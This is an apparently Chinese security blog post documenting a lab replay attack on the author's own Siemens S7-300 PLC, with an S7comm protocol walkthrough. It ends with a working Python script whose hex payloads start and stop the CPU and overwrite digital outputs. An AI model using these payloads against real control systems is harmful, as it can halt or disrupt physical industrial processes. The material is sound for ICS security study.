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西门子S7通信过程及重放攻击分析

2019-09-04 09:30:11

0x1前言

最近手头有个S7-300，根据之前多位大神S7协议相关的分析，决定自己动手实操一下，通过payload重放实现对PLC的启停及DO数据的读写，实验过程记录下来跟大家分享一下，欢迎各位大神来交流。

0x2实验环境

PC1:

操作系统：win7 32位
相关软件：step7 v5.5 sp4 / wireshark_win32_2.2.1.0/snap7-1.4.2.7

PC2:

操作系统：win10 64位
相关软件：python2.7

PLC:

S7-300:
CPU：313C
固件版本：V3.3

0x3实验拓扑

其中，PC1主要用来对plc进行硬件组态和程序下载、执行操作命令（plc启停，数据的读写），并对通信过程进行抓包。PC2用来对plc进行重放攻击。

0x4初始化PLC

由于这个S7-300闲置多年，ip已经不知道了，手上也没有MPI线，好在有以太网模块，通过MAC地址连上plc，分享下方法：

以太网模块上有接口的mac地址，接上网线连接PC1，

打开step7，菜单栏选项->设置PG/PC接口

在访问路径中选择TCP/IP->自己的网卡，确定

回到菜单栏，选择PLC->编辑Ethernet节点

输入我们刚刚获取的mac地址，点击浏览

这样就能找到以太网模块之前的ip地址了。如果这个模块是第一次使用（没有ip地址，IP地址栏为空），同样选择设备并确认

返回后在这里可以设置临时ip地址，设置完后，修改pc地址，保证在同一网段。

下面就是硬件组态了，这里就不赘述了，我这台设备因为之前用过，我就直接从plc上传组态信息及程序了，我们拿到一些需要的信息就可以了

菜单栏选择PLC->将站点上传到PG，

首先选择插槽，S7-300一般为2，点击更新，稍等一会儿会弹出plc的信息，选择后点击确定，到这里，程序上载完成。

查看硬件组态

这样我们就获取了I/O模块的地址。到这里，我们拿到了需要的信息：

IP地址：172.18.15.104
DO地址：124-125

0x5 S7通信过程分析

这里我们采用的是snap7对plc进行启停操作和DO输出进行读写，并进行抓包。

Snap7这里就不多做介绍了，一款非常强大的工具，具体介绍请自行百度，我这里直接使用windows的客户端。

S7的协议分析请参照工控安全 | 西门子通信协议S7COMM，非常详细，这里根据我的理解做个简单描述。

S7的通讯大致分为4个过程，分别是：

1.TCP三次握手：这个没什么好说的，大家都懂。
2.COTP握手：COTP部分分为两种：COTP连接包和COTP功能包，COTP握手阶段使用的是COTP连接包，S7数据传输阶段使用的是COTP功能包。
3.S7COMM建联：S7COMM作为COTP的有效载荷，主要包含三部分：Header、Parameter、Data，建联阶段S7COMM只包含Header和Parameter两个字段。

下面通过wireshark截图详细了解下整个过程：

Step1：三次握手

Step2：COTP握手

请求报文：

主要由TPKT和COTP组成，TPKT中的Length为 TPKT\COTP\S7三层协议的总长度

COTP中的Length为COTP后续数据长度，一般为17

PDU type：

0×1: ED Expedited Data，加急数据
0×2: EA Expedited Data Acknowledgement，加急数据确认
0×4: UD，用户数据
0×5: RJ Reject，拒绝
0×6: AK Data Acknowledgement，数据确认
0×7: ER TPDU Error，TPDU错误
0×8: DR Disconnect Request，断开请求
0xC: DC Disconnect Confirm，断开确认
0xD: CC Connect Confirm，连接确认
0xE: CR Connect Request，连接请求
0xF: DT Data，数据传输

此处值为0x0e，表示连接请求

响应报文：

注意PDU Type的变化

Step3：S7建联

作业请求：

COTP功能吗为0x0f，对照上表，数据传输

0x32为协议号

ROSCTR，操作类型：

0×01 – JOB(Request： job withacknowledgement)：作业请求。由主设备发送的请求（例如，读/写存储器，读/写块，启动/停止设备，设置通信）；
0×02 – ACK(acknowledgement without additional field)：确认响应，没有数据的简单确认（未遇到过由S7 300/400设备发送得）；
0×03 – ACK_DATA(Response： acknowledgementwith additional field)：确认数据响应，这个一般都是响应JOB的请求；
0×07 – USERDATA：原始协议的扩展，参数字段包含请求/响应ID（用于编程/调试，读取SZL，安全功能，时间设置，循环读取…）。

此处为01，表示作业请求

Data length：数据长度，读取plc数据请求时，无数据，因此为0

Parameter中记录了功能码，Setup communication [0xF0]表示建立通信的请求

作业应答：

PLC的S7应答响应：Setupcommunication [0xF0]

Header中的ROSCTR变为ACK_DATA，响应请求中的job

Step4：停止plc报文

COTP的PDU为数据传输(功能包)，S7层的header中请求类型为job，plc stop的功能码为0x29

重放即可。

Step5：读取PLC DO数据

请求报文：

主要有以下几个点：

1.功能码：04读取数据
2.读取的数据类型：82 output（Q）
3.数据地址的计算：0x0003e0

需要注意的一点是，我们DO的数据地址为124，这里的地址编码为0x0003e0，直接计算会发现并不等于124，通过报文可以发现，0x0003e0中包含了位地址，所以需要去除最后三位再计算，也就是1111100，即十进制的124。

应答报文：

应答包相对比较简单，其Parameter只有function、itemcount两个字段，返回00，DO的16位输出都为0。

Step6：写入PLC DO值

和read相比，除了parameter，S7多了data部分，因为要写入数值

具体报文，写操作功能码05，item部分不变，指定数据类型及地址，data部分为写入数据信息，此处写入ff，全部为1

上面提到的item，每个item代表了一段地址，比如上图报文中一共有5个item，除了第一个是outputs（Q）地址，后面4个都是DB地址，我们可以根据自己的需求进行修改，比如删除后面的4个item，需要注意的是，删除了报文的其他部分也要做出对应的修改，否则无法重放。这里标出需要修改的关于长度计算的数据段：

0x6 S7重放攻击

重放攻击，首先还是要根据S7通信特征建立连接，然后通过抓到的数据包构造各种行为的payload，通过对协议的分析和理解，还可以根据自己的需求对payload进行一定的修改。

附上我重放的python脚本（参考了isf中的s7_300_400_plc_control.py）

import socket
import time
import sys

arg = int(sys.argv[1])

setup_communication_payload = '0300001902f08032010000020000080000f0000002000201e0'.decode('hex')
cpu_start_payload = "0300002502f0803201000005000014000028000000000000fd000009505f50524f4752414d".decode('hex')
cpu_stop_payload = "0300002102f0803201000047000010000029000000000009505f50524f4752414d".decode('hex')
set_do_var="0300002502f080320100004300000e00060501120a100200020000820003e0000400105555".decode('hex')

class Exploit():
    target = '172.18.15.104'
    port = 102
    slot = 2
    command = arg
    sock = None

    def create_connect(self, slot):
        slot_num = chr(slot)
        create_connect_payload = '0300001611e00000001400c1020100c20201'.decode('hex') + slot_num + 'c0010a'.decode('hex')
        self.sock.send(create_connect_payload)
        self.sock.recv(1024)
        self.sock.send(setup_communication_payload)
        self.sock.recv(1024)

    def exploit(self):
        self.sock = socket.socket()
        self.sock.connect((self.target, self.port))
        self.create_connect(self.slot)
        if self.command == 1:
            print("Start plc")
            self.sock.send(cpu_start_payload)
        elif self.command == 2:
            print("Stop plc")
            self.sock.send(cpu_stop_payload)
        elif self.command == 3:
            print("set DO 0101 01010 1010 1010")
            self.sock.send(set_do_var)
        else:
            print("Command %s didn't support" % self.command)

    def run(self):
        if self._check_alive():
            print("Target is alive")
            print("Sending packet to target")
            self.exploit()
            if not self._check_alive():
                print("Target is down")
        else:
            print("Target is not alive")

    def _check_alive(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            sock.connect((self.target, self.port))
            sock.close()
        except Exception:
            return False
        return True
       
if __name__ == '__main__':
    x=Exploit()
    x.run()